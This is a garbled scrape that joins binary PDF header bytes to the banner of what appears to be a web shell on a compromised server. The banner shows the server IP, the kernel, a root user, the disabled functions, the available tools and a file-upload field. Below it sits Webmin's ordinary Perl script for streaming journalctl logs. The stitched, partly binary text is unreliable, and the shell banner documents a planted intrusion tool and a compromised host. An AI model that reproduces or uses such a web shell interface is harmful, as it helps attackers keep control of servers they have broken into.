%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.80 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/usr/share/webmin/logviewer/ |
Upload File : |
#!/usr/bin/perl
# view_log_progress.cgi
# Returns progressive output for some system log
require './logviewer-lib.pl';
&ReadParse();
&foreign_require("proc", "proc-lib.pl");
# Send headers
print "Content-Type: text/plain\n\n";
# Follow and reverse are mutually exclusive
my @systemctl_cmds;
{
local $config{'reverse'} = 0;
@systemctl_cmds = &get_systemctl_cmds(1);
}
# System log to follow
my ($log) = grep { $_->{'id'} eq $in{'idx'} } @systemctl_cmds;
if (!&can_edit_log($log) ||
!$log->{'cmd'} ||
$log->{'cmd'} !~ /^journalctl/) {
print $text{'save_ecannot3'};
exit;
}
# Disable output buffering
$| = 1;
# No lines for real time logs
$log->{'cmd'} =~ s/\s+\-\-lines\s+\d+//;
# Show real time logs
$log->{'cmd'} .= " --follow";
# Add filter to the command if present
my $filter = $in{'filter'} ? quotemeta($in{'filter'}) : "";
if ($filter) {
$log->{'cmd'} .= " --grep $filter";
}
# Open a pipe to the journalctl command
my $pid = open(my $fh, '-|', $log->{'cmd'}) ||
print &text('save_ecannot4', $log->{'cmd'}).": $!";
# Read and output the log
while (my $line = <$fh>) {
print $line;
}
# Clean up when done
close($fh);